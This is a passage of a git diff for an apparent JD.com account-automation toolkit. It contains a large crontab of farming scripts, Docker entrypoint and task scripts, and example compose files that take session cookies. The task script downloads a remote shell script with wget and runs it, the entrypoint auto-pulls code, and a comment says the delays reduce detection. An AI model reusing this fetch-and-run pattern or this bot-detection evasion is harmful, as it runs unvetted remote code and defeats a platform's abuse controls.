/scripts/jd_drawEntrance.js >> /scripts/logs/jd_drawEntrance.log 2>&1 +#特务 +1,10 0 * * * node /scripts/jd_superBrand.js >> /scripts/logs/jd_superBrand.log 2>&1 +#送豆得豆 +5 0,12 * * * node /scripts/jd_SendBean.js >> /scripts/logs/jd_SendBean.log 2>&1 +# +20 0,2 * * * node /scripts/jd_wish.js >> /scripts/logs/jd_wish.log 2>&1 +#财富岛气球 +5 * * * * node /scripts/jd_cfd_loop.js >> /scripts/logs/jd_cfd_loop.log 2>&1 +#宠汪汪偷狗粮 +40 0-21/3 * * * node /scripts/jd_joy_steal.js >> /scripts/logs/jd_joy_steal.log 2>&1 +#京小鸽 +18 4,11 * * * node /scripts/jd_jxg.js >> /scripts/logs/jd_jxg.log 2>&1 +# +20 6,7 * * * node /scripts/jd_morningSc.js >> /scripts/logs/jd_morningSc.log 2>&1 +#领现金兑换 +0 0 * * * node /scripts/jd_cash_exchange.js >> /scripts/logs/jd_cash_exchange.log 2>&1 +#快手水果 +33 1,8,12,19 * * * node /scripts/jd_ks_fruit.js >> /scripts/logs/jd_ks_fruit.log 2>&1 +#宠汪汪喂食 +15 0-23/1 * * * node /scripts/jd_joy_feedPets.js >> /scripts/logs/jd_joy_feedPets.log 2>&1 +#宠汪汪赛跑 +15 10,12 * * * node /scripts/jd_joy_run.js >> /scripts/logs/jd_joy_run.log 2>&1 +#领京豆 +38 8,13 * * * node /scripts/jd_mdou.js >> /scripts/logs/jd_mdou.log 2>&1 +# +0 1 * * * node /scripts/jd_cleancart.js >> /scripts/logs/jd_cleancart.log 2>&1 +#店铺签到 +2 2 * * * node /scripts/jd_dpqd.js >> /scripts/logs/jd_dpqd.log 2>&1 +#推一推 +2 12 * * * node /scripts/jd_tyt.js >> /scripts/logs/jd_tyt.log 2>&1 +# +55 6 * * * node /scripts/jd_unsubscriLive.js >> /scripts/logs/jd_unsubscriLive.log 2>&1 +#女装盲盒 +45 2,20 * * * node /scripts/jd_nzmh.js >> /scripts/logs/jd_nzmh.log 2>&1 +#开卡74 +47 3 25-30,1 11,12 * node /scripts/jd_opencard74.js >> /scripts/logs/jd_opencard74.log 2>&1 +#开卡75 +47 2 1-15 12 * node /scripts/jd_opencard75.js >> /scripts/logs/jd_opencard75.log 2>&1 +#开卡76 +47 3 3-12 12 * node /scripts/jd_opencard76.js >> /scripts/logs/jd_opencard76.log 2>&1 +#积分换话费 +43 5,17 * * * node /scripts/jd_dwapp.js >> /scripts/logs/jd_dwapp.log 2>&1 +# 领券中心签到 +5 0 * * * node /scripts/jd_ccSign.js >> /scripts/logs/jd_ccSign.log 2>&1 +#邀请有礼 +20 9 * * * node /scripts/jd_yqyl.js >> /scripts/logs/jd_yqyl.log 2>&1 +# +20 3,6,9 * * * node /scripts/jd_dreamfactory_tuan.js >> /scripts/logs/jd_dreamfactory_tuan.log 2>&1 +#京喜领红包 +23 0,6,12,21 * * * node /scripts/jd_jxlhb.js >> /scripts/logs/jd_jxlhb.log 2>&1 +#超级直播间盲盒抽京豆 +1 18,20 * * * node /scripts/jd_super_mh.js >> /scripts/logs/jd_super_mh.log 2>&1 +# 内容鉴赏官 +5 2,5,16 * * * node /scripts/jd_connoisseur.js >> /scripts/logs/jd_connoisseur.log 2>&1 +# 京喜财富岛月饼 +5 * * * * node /scripts/jd_cfd_mooncake.js >> /scripts/logs/jd_cfd_mooncake.log 2>&1 +# 东东世界 +15 3,16 * * * node /scripts/jd_ddworld.js >> /scripts/logs/jd_ddworld.log 2>&1 +# 小魔方 +31 2,8 * * * node /scripts/jd_mf.js >> /scripts/logs/jd_mf.log 2>&1 +# 魔方 +11 7,19 * * * node /scripts/jd_mofang.js >> /scripts/logs/jd_mofang.log 2>&1 +# 芥么签到 +11 0,9 * * * node /scripts/jd_jmsign.js >> /scripts/logs/jd_jmsign.log 2>&1 +# 芥么赚豪礼 +37 0,11 * * * node /scripts/jd_jmzhl.js >> /scripts/logs/jd_jmzhl.log 2>&1 +# 幸运扭蛋 +24 9 * 10-11 * node /scripts/jd_lucky_egg.js >> /scripts/logs/jd_lucky_egg.log 2>&1 +# 东东世界兑换 +0 0 * * * node /scripts/jd_ddworld_exchange.js >> /scripts/logs/jd_ddworld_exchange.log 2>&1 +# 天天提鹅 +20 * * * * node /scripts/jd_daily_egg.js >> /scripts/logs/jd_daily_egg.log 2>&1 +# 发财大赢家 +1 2,10 * * * node /scripts/jd_fcdyj.js >> /scripts/logs/jd_fcdyj.log 2>&1 +# 翻翻乐 +20 * * * * node /scripts/jd_big_winner.js >> /scripts/logs/jd_big_winner.log 2>&1 +# 京东极速版签到免单 +18 8,12,20 * * * node /scripts/jd_speed_signfree.js >> /scripts/logs/jd_speed_signfree.log 2>&1 +# 牛牛福利 +1 9,19 * * * node /scripts/jd_nnfl.js >> /scripts/logs/jd_nnfl.log 2>&1 +#赚京豆 +10,40 0,1 * * * node /scripts/jd_syj.js >> /scripts/logs/jd_syj.log 2>&1 +#搞基大神-饭粒 +46 1,19 * * * node /scripts/jd_fanli.js >> /scripts/logs/jd_fanli.log 2>&1 +#农场集勋章 +16 7,16 * * * node /scripts/jd_medal.js >> /scripts/logs/jd_medal.log 2>&1 +#京东签到翻牌 +10 8,18 * * * node /scripts/jd_sign_graphics.js >> /scripts/logs/jd_sign_graphics.log 2>&1 +#京喜财富岛合成生鲜 +45 * * * * node /scripts/jd_cfd_fresh.js >> /scripts/logs/jd_cfd_fresh.log 2>&1 +#财富岛珍珠兑换 +59 0-23/1 * * * node /scripts/jd_cfd_pearl_ex.js >> /scripts/logs/jd_cfd_pearl_ex.log 2>&1 +#美丽研究院--兑换 +1 7,12,19 * * * node /scripts/jd_beauty_ex.js >> /scripts/logs/jd_beauty_ex.log 2>&1 +#锦鲤 +5 0 * * * node /scripts/jd_angryKoi.js >> /scripts/logs/jd_angryKoi.log 2>&1 +#京东赚京豆一分钱抽奖 +10 0 * * * node /scripts/jd_lottery_drew.js >> /scripts/logs/jd_lottery_drew.log 2>&1 +#京东保价 +41 23 * * * node /scripts/jd_price.js >> /scripts/logs/jd_price.log 2>&1 +#金榜年终奖 +10 0,2 * * * node /scripts/jd_split.js >> /scripts/logs/jd_split.log 2>&1 +#京东小魔方--收集兑换 +10 7 * * * node /scripts/jd_mofang_ex.js >> /scripts/logs/jd_mofang_ex.log 2>&1 +#骁龙 +10 9,17 * * * node /scripts/jd_xiaolong.js >> /scripts/logs/jd_xiaolong.log 2>&1 +#京东我的理想家 +10 7 * * * node /scripts/jd_lxLottery.js >> /scripts/logs/jd_lxLottery.log 2>&1 +#京豆兑换为喜豆 +33 9 * * * node /scripts/jd_exchangejxbeans.js >> /scripts/logs/jd_exchangejxbeans.log 2>&1 +#早起签到 +1 6,7 * * * python3 /jd/scripts/jd_zqfl.py >> /jd/log/jd_zqfl.log 2>&1 diff --git a/docker/default_task.sh b/docker/default_task.sh new file mode 100644 index 0000000..7cc7e18 --- /dev/null +++ b/docker/default_task.sh @@ -0,0 +1,252 @@ +#!/bin/sh +set -e + +# 放在这个初始化python3环境,目的减小镜像体积,一些不需要使用bot交互的用户可以不用拉体积比较大的镜像 +# 在这个任务里面还有初始化还有目的就是为了方便bot更新了新功能的话只需要重启容器就完成更新 +function initPythonEnv() { + echo "开始安装运行jd_bot需要的python环境及依赖..." + apk add --update python3-dev py3-pip py3-cryptography py3-numpy py-pillow + echo "开始安装jd_bot依赖..." + #测试 + #cd /jd_docker/docker/bot + #合并 + cd /scripts/docker/bot + pip3 install --upgrade pip + pip3 install -r requirements.txt + python3 setup.py install +} + +#启动tg bot交互前置条件成立,开始安装配置环境 +if [ "$1" == "True" ]; then + initPythonEnv + if [ -z "$DISABLE_SPNODE" ]; then + echo "增加命令组合spnode ,使用该命令spnode jd_xxxx.js 执行js脚本会读取cookies.conf里面的jd cokie账号来执行脚本" + ( + cat </usr/local/bin/spnode + chmod +x /usr/local/bin/spnode + fi + + echo "spnode需要使用的到,cookie写入文件,该文件同时也为jd_bot扫码获自动取cookies服务" + if [ -z "$JD_COOKIE" ]; then + if [ ! -f "$COOKIES_LIST" ]; then + echo "" >"$COOKIES_LIST" + echo "未配置JD_COOKIE环境变量,$COOKIES_LIST文件已生成,请将cookies写入$COOKIES_LIST文件,格式每个Cookie一行" + fi + else + if [ -f "$COOKIES_LIST" ]; then + echo "cookies.conf文件已经存在跳过,如果需要更新cookie请修改$COOKIES_LIST文件内容" + else + echo "环境变量 cookies写入$COOKIES_LIST文件,如果需要更新cookie请修改cookies.conf文件内容" + echo $JD_COOKIE | sed "s/[ &]/\\n/g" | sed "/^$/d" >$COOKIES_LIST + fi + fi + + CODE_GEN_CONF=/scripts/logs/code_gen_conf.list + echo "生成互助消息需要使用的到的 logs/code_gen_conf.list 文件,后续需要自己根据说明维护更新删除..." + if [ ! -f "$CODE_GEN_CONF" ]; then + ( + cat <$CODE_GEN_CONF + else + echo "logs/code_gen_conf.list 文件已经存在跳过初始化操作" + fi + + echo "容器jd_bot交互所需环境已配置安装已完成..." + curl -sX POST "https://api.telegram.org/bot$TG_BOT_TOKEN/sendMessage" -d "chat_id=$TG_USER_ID&text=恭喜🎉你获得feature容器jd_bot交互所需环境已配置安装已完成,并启用。请发送 /help 查看使用帮助。如需禁用请在docker-compose.yml配置 DISABLE_BOT_COMMAND=True" >>/dev/null + +fi + +#echo "暂停更新配置,不要尝试删掉这个文件,你的容器可能会起不来" +#echo '' >/scripts/logs/pull.lock + +echo "定义定时任务合并处理用到的文件路径..." +defaultListFile="/scripts/docker/$DEFAULT_LIST_FILE" +echo "默认文件定时任务文件路径为 ${defaultListFile}" +mergedListFile="/scripts/docker/merged_list_file.sh" +echo "合并后定时任务文件路径为 ${mergedListFile}" + +echo "第1步将默认定时任务列表添加到并后定时任务文件..." +cat $defaultListFile >$mergedListFile + +echo "第2步判断是否存在自定义任务任务列表并追加..." +if [ $CUSTOM_LIST_FILE ]; then + echo "您配置了自定义任务文件:$CUSTOM_LIST_FILE,自定义任务类型为:$CUSTOM_LIST_MERGE_TYPE..." + # 无论远程还是本地挂载, 均复制到 $customListFile + customListFile="/scripts/docker/custom_list_file.sh" + echo "自定义定时任务文件临时工作路径为 ${customListFile}" + if expr "$CUSTOM_LIST_FILE" : 'http.*' &>/dev/null; then + echo "自定义任务文件为远程脚本,开始下载自定义远程任务。" + wget -O $customListFile $CUSTOM_LIST_FILE + echo "下载完成..." + elif [ -f /scripts/docker/$CUSTOM_LIST_FILE ]; then + echo "自定义任务文件为本地挂载。" + cp /scripts/docker/$CUSTOM_LIST_FILE $customListFile + fi + + if [ -f "$customListFile" ]; then + if [ $CUSTOM_LIST_MERGE_TYPE == "append" ]; then + echo "合并默认定时任务文件:$DEFAULT_LIST_FILE 和 自定义定时任务文件:$CUSTOM_LIST_FILE" + echo -e "" >>$mergedListFile + cat $customListFile >>$mergedListFile + elif [ $CUSTOM_LIST_MERGE_TYPE == "overwrite" ]; then + echo "配置了自定义任务文件:$CUSTOM_LIST_FILE,自定义任务类型为:$CUSTOM_LIST_MERGE_TYPE..." + cat $customListFile >$mergedListFile + else + echo "配置配置了错误的自定义定时任务类型:$CUSTOM_LIST_MERGE_TYPE,自定义任务类型为只能为append或者overwrite..." + fi + else + echo "配置的自定义任务文件:$CUSTOM_LIST_FILE未找到,使用默认配置$DEFAULT_LIST_FILE..." + fi +else + echo "当前只使用了默认定时任务文件 $DEFAULT_LIST_FILE ..." +fi + +echo "第3步判断是否配置了随机延迟参数..." +if [ $RANDOM_DELAY_MAX ]; then + if [ $RANDOM_DELAY_MAX -ge 1 ]; then + echo "已设置随机延迟为 $RANDOM_DELAY_MAX , 设置延迟任务中..." + sed -i "/\(jd_bean_sign.js\|jd_blueCoin.js\|jd_joy_reward.js\|jd_joy_steal.js\|jd_joy_feedPets.js\|jd_car_exchange.js\)/!s/node/sleep \$((RANDOM % \$RANDOM_DELAY_MAX)); node/g" $mergedListFile + fi +else + echo "未配置随机延迟对应的环境变量,故不设置延迟任务..." +fi + +echo "第4步判断是否配置自定义shell执行脚本..." +if [ 0"$CUSTOM_SHELL_FILE" = "0" ]; then + echo "未配置自定shell脚本文件,跳过执行。" +else + if expr "$CUSTOM_SHELL_FILE" : 'http.*' &>/dev/null; then + echo "自定义shell脚本为远程脚本,开始下载自定义远程脚本。" + wget -O /scripts/docker/shell_script_mod.sh $CUSTOM_SHELL_FILE + echo "下载完成,开始执行..." + echo "#远程自定义shell脚本追加定时任务" >>$mergedListFile + sh -x /scripts/docker/shell_script_mod.sh + echo "自定义远程shell脚本下载并执行结束。" + else + if [ ! -f $CUSTOM_SHELL_FILE ]; then + echo "自定义shell脚本为docker挂载脚本文件,但是指定挂载文件不存在,跳过执行。" + else + echo "docker挂载的自定shell脚本,开始执行..." + echo "#docker挂载自定义shell脚本追加定时任务" >>$mergedListFile + sh -x $CUSTOM_SHELL_FILE + echo "docker挂载的自定shell脚本,执行结束。" + fi + fi +fi + +echo "第5步删除不运行的脚本任务..." +if [ $DO_NOT_RUN_SCRIPTS ]; then + echo "您配置了不运行的脚本:$DO_NOT_RUN_SCRIPTS" + arr=${DO_NOT_RUN_SCRIPTS//&/ } + for item in $arr; do + sed -ie '/'"${item}"'/d' ${mergedListFile} + done + +fi + +echo "第6步设定下次运行docker_entrypoint.sh时间..." +echo "删除原有docker_entrypoint.sh任务" +sed -ie '/'docker_entrypoint.sh'/d' ${mergedListFile} + +# 12:00前生成12:00后的cron,12:00后生成第二天12:00前的cron,一天只更新两次代码 +if [ $(date +%-H) -lt 12 ]; then + random_h=$(($RANDOM % 12 + 12)) +else + random_h=$(($RANDOM % 12)) +fi +random_m=$(($RANDOM % 60)) + +echo "设定 docker_entrypoint.sh cron为:" +echo -e "\n# 必须要的默认定时任务请勿删除" >>$mergedListFile +echo -e "${random_m} ${random_h} * * * docker_entrypoint.sh >> /scripts/logs/default_task.log 2>&1" | tee -a $mergedListFile + +echo "第7步 自动助力" +if [ -n "$ENABLE_AUTO_HELP" ]; then + #直接判断变量,如果未配置,会导致sh抛出一个错误,所以加了上面一层 + if [ "$ENABLE_AUTO_HELP" = "true" ]; then + echo "开启自动助力" + #在所有脚本执行前,先执行助力码导出 + sed -i 's/node/ . \/scripts\/docker\/auto_help.sh export > \/scripts\/logs\/auto_help_export.log \&\& node /g' ${mergedListFile} + else + echo "未开启自动助力" + fi +fi + +echo "第8步增加 |ts 任务日志输出时间戳..." +sed -i "/\( ts\| |ts\|| ts\)/!s/>>/\|ts >>/g" $mergedListFile + +echo "第9步执行proc_file.sh脚本任务..." +sh /scripts/docker/proc_file.sh + +echo "第10步加载最新的定时任务文件..." +if [[ -f /usr/bin/jd_bot && -z "$DISABLE_SPNODE" ]]; then + echo "bot交互与spnode 前置条件成立,替换任务列表的node指令为spnode" + sed -i "s/ node / spnode /g" $mergedListFile + #conc每个cookies独立并行执行脚本示例,cookies数量多使用该功能可能导致内存爆掉,默认不开启 有需求,请在自定义shell里面实现 + #sed -i "/\(jd_xtg.js\|jd_car_exchange.js\)/s/spnode/spnode conc/g" $mergedListFile +fi +crontab $mergedListFile + +echo "第11步将仓库的docker_entrypoint.sh脚本更新至系统/usr/local/bin/docker_entrypoint.sh内..." +cat /scripts/docker/docker_entrypoint.sh >/usr/local/bin/docker_entrypoint.sh + +echo "发送通知" +export NOTIFY_CONTENT="" +cd /scripts/docker +node notify_docker_user.js diff --git a/docker/docker_entrypoint.sh b/docker/docker_entrypoint.sh new file mode 100644 index 0000000..6c9852c --- /dev/null +++ b/docker/docker_entrypoint.sh @@ -0,0 +1,57 @@ +#!/bin/sh +set -e + +#获取配置的自定义参数 +if [ -n "$1" ]; then + run_cmd=$1 +fi + +( +if [ -f "/scripts/logs/pull.lock" ]; then + echo "存在更新锁定文件,跳过git pull操作..." +else + echo "设定远程仓库地址..." + cd /scripts + git remote set-url origin "$REPO_URL" + git reset --hard + echo "git pull拉取最新代码..." + git -C /scripts pull --rebase + echo "npm install 安装最新依赖" + npm install --prefix /scripts +fi +) || exit 0 + +# 默认启动telegram交互机器人的条件 +# 确认容器启动时调用的docker_entrypoint.sh +# 必须配置TG_BOT_TOKEN、TG_USER_ID, +# 且未配置DISABLE_BOT_COMMAND禁用交互, +# 且未配置自定义TG_API_HOST,因为配置了该变量,说明该容器环境可能并能科学的连到telegram服务器 +if [[ -n "$run_cmd" && -n "$TG_BOT_TOKEN" && -n "$TG_USER_ID" && -z "$DISABLE_BOT_COMMAND" && -z "$TG_API_HOST" ]]; then + ENABLE_BOT_COMMAND=True +else + ENABLE_BOT_COMMAND=False +fi + +echo "------------------------------------------------执行定时任务任务shell脚本------------------------------------------------" +#测试 +# sh /jd_docker/docker/default_task.sh "$ENABLE_BOT_COMMAND" "$run_cmd" +#合并 +sh /scripts/docker/default_task.sh "$ENABLE_BOT_COMMAND" "$run_cmd" +echo "--------------------------------------------------默认定时任务执行完成---------------------------------------------------" + +if [ -n "$run_cmd" ]; then + # 增加一层jd_bot指令已经正确安装成功校验 + # 以上条件都满足后会启动jd_bot交互,否还是按照以前的模式启动,最大程度避免现有用户改动调整 + if [[ "$ENABLE_BOT_COMMAND" == "True" && -f /usr/bin/jd_bot ]]; then + echo "启动crontab定时任务主进程..." + crond + echo "启动telegram bot指令交主进程..." + jd_bot + else + echo "启动crontab定时任务主进程..." + crond -f + fi + +else + echo "默认定时任务执行结束。" +fi diff --git a/docker/example/custom-append.yml b/docker/example/custom-append.yml new file mode 100644 index 0000000..eeaa8ed --- /dev/null +++ b/docker/example/custom-append.yml @@ -0,0 +1,62 @@ +jd_scripts: + image: lxk0301/jd_scripts + # 配置服务器资源约束。此例子中服务被限制为使用内存不超过200M以及cpu不超过0.2(单核的20%) + # 经过实际测试,建议不低于200M + # deploy: + # resources: + # limits: + # cpus: '0.2' + # memory: 200M + container_name: jd_scripts + restart: always + volumes: + - ./my_crontab_list.sh:/scripts/docker/my_crontab_list.sh + - ./logs:/scripts/logs + tty: true + # 因为更换仓库地址可能git pull的dns解析不到,可以在配置追加hosts + extra_hosts: + - "gitee.com:180.97.125.228" + - "github.com:13.229.188.59" + - "raw.githubusercontent.com:151.101.228.133" + environment: + #脚本更新仓库地址,配置了会切换到对应的地址 + - REPO_URL=git@gitee.com:lxk0301/jd_scripts.git + # 注意环境变量填写值的时候一律不需要引号(""或者'')下面这些只是示例,根据自己的需求增加删除 + #jd cookies + # 例: JD_COOKIE=pt_key=XXX;pt_pin=XXX; + # 例(多账号): JD_COOKIE=pt_key=XXX;pt_pin=XXX;&pt_key=XXX;pt_pin=XXX;&pt_key=XXX;pt_pin=XXX; + - JD_COOKIE= + #微信server酱通知 + - PUSH_KEY= + #Bark App通知 + - BARK_PUSH= + #telegram机器人通知 + - TG_BOT_TOKEN= + - TG_USER_ID= + #钉钉机器人通知 + - DD_BOT_TOKEN= + - DD_BOT_SECRET= + #企业微信机器人通知 + - QYWX_KEY= + #京东种豆得豆 + - PLANT_BEAN_SHARECODES= + #京东农场 + # 例: FRUITSHARECODES=京东农场的互助码 + - FRUITSHARECODES= + #京东萌宠 + # 例: PETSHARECODES=东东萌宠的互助码 + - PETSHARECODES= + # 宠汪汪的喂食数量 + - JOY_FEED_COUNT= + #东东超市 + # - SUPERMARKET_SHARECODES= + #兑换多少数量的京豆(20,或者1000京豆,或者其他奖品的文字) + # 例: MARKET_COIN_TO_BEANS=1000 + - MARKET_COIN_TO_BEANS= + #如果设置了 RANDOM_DELAY_MAX ,则会启用随机延迟功能,延迟随机 0 到 RANDOM_DELAY_MAX-1 秒。如果不设置此项,则不使用延迟。 + #并不是所有的脚本都会被启用延迟,因为有一些脚本需要整点触发。延迟的目的有两个,1是降低抢占cpu资源几率,2是降低检查风险(主要是1) + #填写数字,单位为秒,比如写为 RANDOM_DELAY_MAX=30 就是随机产生0到29之间的一个秒数,执行延迟的意思。 + - RANDOM_DELAY_MAX=120 + #使用自定义定任务追加默认任务之后,上面volumes挂载之后这里配置对应的文件名 + - CUSTOM_LIST_FILE=my_crontab_list.sh + diff --git a/docker/example/custom-overwrite.yml b/docker/example/custom-overwrite.yml new file mode 100644 index 0000000..dd0a6a5 --- /dev/null +++ b/docker/example/custom-overwrite.yml @@ -0,0 +1,62 @@ +jd_scripts: + image: lxk0301/jd_scripts + # 配置服务器资源约束。此例子中服务被限制为使用内存不超过200M以及cpu不超过0.2(单核的20%) + # 经过实际测试,建议不低于200M + # deploy: + # resources: + # limits: + # cpus: '0.2' + # memory: 200M + container_name: jd_scripts + restart: always + volumes: + - ./my_crontab_list.sh:/scripts/docker/my_crontab_list.sh + - ./logs:/scripts/logs + tty: true + # 因为更换仓库地址可能git pull的dns解析不到,可以在配置追加hosts + extra_hosts: + - "gitee.com:180.97.125.228" + - "github.com:13.229.188.59" + - "raw.githubusercontent.com:151.101.228.133" + environment: + #脚本更新仓库地址,配置了会切换到对应的地址 + - REPO_URL=git@gitee.com:lxk0301/jd_scripts.git + # 注意环境变量填写值的时候一律不需要引号(""或者'')下面这些只是示例,根据自己的需求增加删除 + #jd cookies + # 例: JD_COOKIE=pt_key=XXX;pt_pin=XXX; + #例(多账号): JD_COOKIE=pt_key=XXX;pt_pin=XXX;&pt_key=XXX;pt_pin=XXX;&pt_key=XXX;pt_pin=XXX; + - JD_COOKIE= + #微信server酱通知 + - PUSH_KEY= + #Bark App通知 + - BARK_PUSH= + #telegram机器人通知 + - TG_BOT_TOKEN= + - TG_USER_ID= + #钉钉机器人通知 + - DD_BOT_TOKEN= + - DD_BOT_SECRET= + #企业微信机器人通知 + - QYWX_KEY= + #京东种豆得豆 + - PLANT_BEAN_SHARECODES= + #京东农场 + # 例: FRUITSHARECODES=京东农场的互助码 + - FRUITSHARECODES= + #京东萌宠 + # 例: PETSHARECODES=东东萌宠的互助码 + - PETSHARECODES= + # 宠汪汪的喂食数量 + - JOY_FEED_COUNT= + #东东超市 + # - SUPERMARKET_SHARECODES= + #兑换多少数量的京豆(20,或者1000京豆,或者其他奖品的文字) + # 例: MARKET_COIN_TO_BEANS=1000 + - MARKET_COIN_TO_BEANS= + #如果设置了 RANDOM_DELAY_MAX ,则会启用随机延迟功能,延迟随机 0 到 RANDOM_DELAY_MAX-1 秒。如果不设置此项,则不使用延迟。 + #并不是所有的脚本都会被启用延迟,因为有一些脚本需要整点触发。延迟的目的有两个,1是降低抢占cpu资源几率,2是降低检查风险(主要是1) + #填写数字,单位为秒,比如写为 RANDOM_DELAY_MAX=30 就是随机产生0到29之间的一个秒数,执行延迟的意思。 + - RANDOM_DELAY_MAX=120 + #使用自定义定任务覆盖默认任务,上面volumes挂载之后这里配置对应的文件名,和自定义文件使用方式为overwrite + - CUSTOM_LIST_FILE=my_crontab_list.sh + - CUSTOM_LIST_MERGE_TYPE=overwrite diff --git a/docker/example/default.yml b/docker/example/default.yml new file mode 100644 index 0000000..3ff4995 --- /dev/null +++ b/docker/example/default.yml @@ -0,0 +1,59 @@ +jd_scripts: + image: lxk0301/jd_scripts + # 配置服务器资源约束。此例子中服务被限制为使用内存不超过200M以及cpu不超过0.2(单核的20%) + # 经过实际测试,建议不低于200M + # deploy: + # resources: + # limits: + # cpus: '0.2' + # memory: 200M + container_name: jd_scripts + restart: always + volumes: + - ./logs:/scripts/logs + tty: true + # 因为更换仓库地址可能git pull的dns解析不到,可以在配置追加hosts + extra_hosts: + - "gitee.com:180.97.125.228" + - "github.com:13.229.188.59" + - "raw.githubusercontent.com:151.101.228.133" + environment: + #脚本更新仓库地址,配置了会切换到对应的地址 + - REPO_URL=git@gitee.com:lxk0301/jd_scripts.git + # 注意环境变量填写值的时候一律不需要引号(""或者'')下面这些只是示例,根据自己的需求增加删除 + #jd cookies + # 例: JD_COOKIE=pt_key=XXX;pt_pin=XXX; + # 例(多账号): JD_COOKIE=pt_key=XXX;pt_pin=XXX;&pt_key=XXX;pt_pin=XXX;&pt_key=XXX;pt_pin=XXX; + - JD_COOKIE= + #微信server酱通知 + - PUSH_KEY= + #Bark App通知 + - BARK_PUSH= + #telegram机器人通知 + - TG_BOT_TOKEN= + - TG_USER_ID= + #钉钉机器人通知 + - DD_BOT_TOKEN= + - DD_BOT_SECRET= + #企业微信机器人通知 + - QYWX_KEY= + #京东种豆得豆 + - PLANT_BEAN_SHARECODES= + #京东农场 + # 例: FRUITSHARECODES=京东农场的互助码 + - FRUITSHARECODES= + #京东萌宠 + # 例: PETSHARECODES=东东萌宠的互助码 + - PETSHARECODES= + # 宠汪汪的喂食数量 + - JOY_FEED_COUNT= + #东东超市 + # - SUPERMARKET_SHARECODES= + #兑换多少数量的京豆(20,或者1000京豆,或者其他奖品的文字) + # 例: MARKET_COIN_TO_BEANS=1000 + - MARKET_COIN_TO_BEANS= + + #如果设置了 RANDOM_DELAY_MAX ,则会启用随机延迟功能,延迟随机 0 到 RANDOM_DELAY_MAX-1 秒。如果不设置此项,则不使用延迟。 + #并不是所有的脚本都会被启用延迟,因为有一些脚本需要整点触发。延迟的目的有两个,1是降低抢占cpu资源几率,2是降低检查风险(主要是1) + #填写数字,单位为秒,比如写为 RANDOM_DELAY_MAX=30 就是随机产生0到29之间的一个秒数,执行延迟的意思。 + - RANDOM_DELAY_MAX=120 diff --git a/docker/example/docker多账户使用独立容器使用说明.md b/docker/example/docker多账户使用独立容器使用说明.md new file mode 100644 index 0000000..4fd879d --- /dev/null +++ b/docker/example/docker多账户使用独立容器使用说明.md @@ -0,0 +1,83 @@ +### 使用此方式,请先理解学会使用[docker办法一](https://github.com/LXK9301/jd_scripts/tree/master/docker#%E5%88%9B%E5%BB%BA%E4%B8%80%E4%B8%AA%E7%9B%AE%E5%BD%95jd_scripts%E7%94%A8%E4%BA%8E%E5%AD%98%E6%94%BE%E5%A4%87%E4%BB%BD%E9%85%8D%E7%BD%AE%E7%AD%89%E6%95%B0%E6%8D%AE%E8%BF%81%E7%A7%BB%E9%87%8D%E8%A3%85%E7%9A%84%E6%97%B6%E5%80%99%E5%8F%AA%E9%9C%80%E8%A6%81%E5%A4%87%E4%BB%BD%E6%95%B4%E4%B8%AAjd_scripts%E7%9B%AE%E5%BD%95%E5%8D%B3%E5%8F%AF)的使用方式 +> 发现有人好像希望不同账户任务并发执行,不想一个账户执行完了才能再执行另一个,这里写一个`docker办法一`的基础上实现方式,其实就是不同账户创建不同的容器,他们互不干扰单独定时执行自己的任务。 +配置使用起来还是比较简单的,具体往下看 +### 文件夹目录参考 +![image](https://user-images.githubusercontent.com/6993269/97781779-885ae700-1bc8-11eb-93a4-b274cbd6062c.png) +### 具体使用说明直接在图片标注了,文件参考[图片下方](https://github.com/LXK9301/jd_scripts/new/master/docker#docker-composeyml%E6%96%87%E4%BB%B6%E5%8F%82%E8%80%83),配置完成后的[执行命令]() +![image](https://user-images.githubusercontent.com/6993269/97781610-a1af6380-1bc7-11eb-9397-903b47f5ad6b.png) +#### `docker-compose.yml`文件参考 +```yaml +version: "3" +services: + jd_scripts1: #默认 + image: lxk0301/jd_scripts + # 配置服务器资源约束。此例子中服务被限制为使用内存不超过200M以及cpu不超过 0.2(单核的20%) + # 经过实际测试,建议不低于200M + # deploy: + # resources: + # limits: + # cpus: '0.2' + # memory: 200M + restart: always + container_name: jd_scripts1 + tty: true + volumes: + - ./logs1:/scripts/logs + environment: + - JD_COOKIE=pt_key=AAJfjaNrADAS8ygfgIsOxxxxxxxKpfDaZ2pSBOYTxtPqLK8U1Q;pt_pin=lxxxxxx5; + - TG_BOT_TOKEN=130xxxx280:AAExxxxxxWP10zNf91WQ + - TG_USER_ID=12xxxx206 + # 互助助码等参数可自行增加,如下。 + # 京东种豆得豆 + # - PLANT_BEAN_SHARECODES= + + jd_scripts2: #默认 + image: lxk0301/jd_scripts + restart: always + container_name: jd_scripts2 + tty: true + volumes: + - ./logs2:/scripts/logs + environment: + - JD_COOKIE=pt_key=AAJfjaNrADAS8ygfgIsOxxxxxxxKpfDaZ2pSBOYTxtPqLK8U1Q;pt_pin=lxxxxxx5; + - TG_BOT_TOKEN=130xxxx280:AAExxxxxxWP10zNf91WQ + - TG_USER_ID=12xxxx206 + jd_scripts4: #自定义追加默认之后 + image: lxk0301/jd_scripts + restart: always + container_name: jd_scripts4 + tty: true + volumes: + - ./logs4:/scripts/logs + - ./my_crontab_list4.sh:/scripts/docker/my_crontab_list.sh + environment: + - JD_COOKIE=pt_key=AAJfjaNrADAS8ygfgIsOxxxxxxxKpfDaZ2pSBOYTxtPqLK8U1Q;pt_pin=lxxxxxx5; + - TG_BOT_TOKEN=130xxxx280:AAExxxxxxWP10zNf91WQ + - TG_USER_ID=12xxxx206 + - CUSTOM_LIST_FILE=my_crontab_list.sh + jd_scripts5: #自定义覆盖默认 + image: lxk0301/jd_scripts + restart: always + container_name: jd_scripts5 + tty: true + volumes: + - ./logs5:/scripts/logs + - ./my_crontab_list5.sh:/scripts/docker/my_crontab_list.sh + environment: + - JD_COOKIE=pt_key=AAJfjaNrADAS8ygfgIsOxxxxxxxKpfDaZ2pSBOYTxtPqLK8U1Q;pt_pin=lxxxxxx5; + - TG_BOT_TOKEN=130xxxx280:AAExxxxxxWP10zNf91WQ + - TG_USER_ID=12xxxx206 + - CUSTOM_LIST_FILE=my_crontab_list.sh + - CUSTOM_LIST_MERGE_TYPE=overwrite + +``` +#### 目录文件配置好之后在 `jd_scripts_multi`目录执行 + `docker-compose up -d` 启动; + `docker-compose logs` 打印日志; + `docker-compose pull` 更新镜像; + `docker-compose stop` 停止容器; + `docker-compose restart` 重启容器; + `docker-compose down` 停止并删除容器; + ![image](https://user-images.githubusercontent.com/6993269/97781935-8fcec000-1bc9-11eb-9d1a-d219e7a1caa9.png) + + diff --git a/docker/example/jd_scripts.custom-append.syno.json b/docker/example/jd_scripts.custom-append.syno.json new file 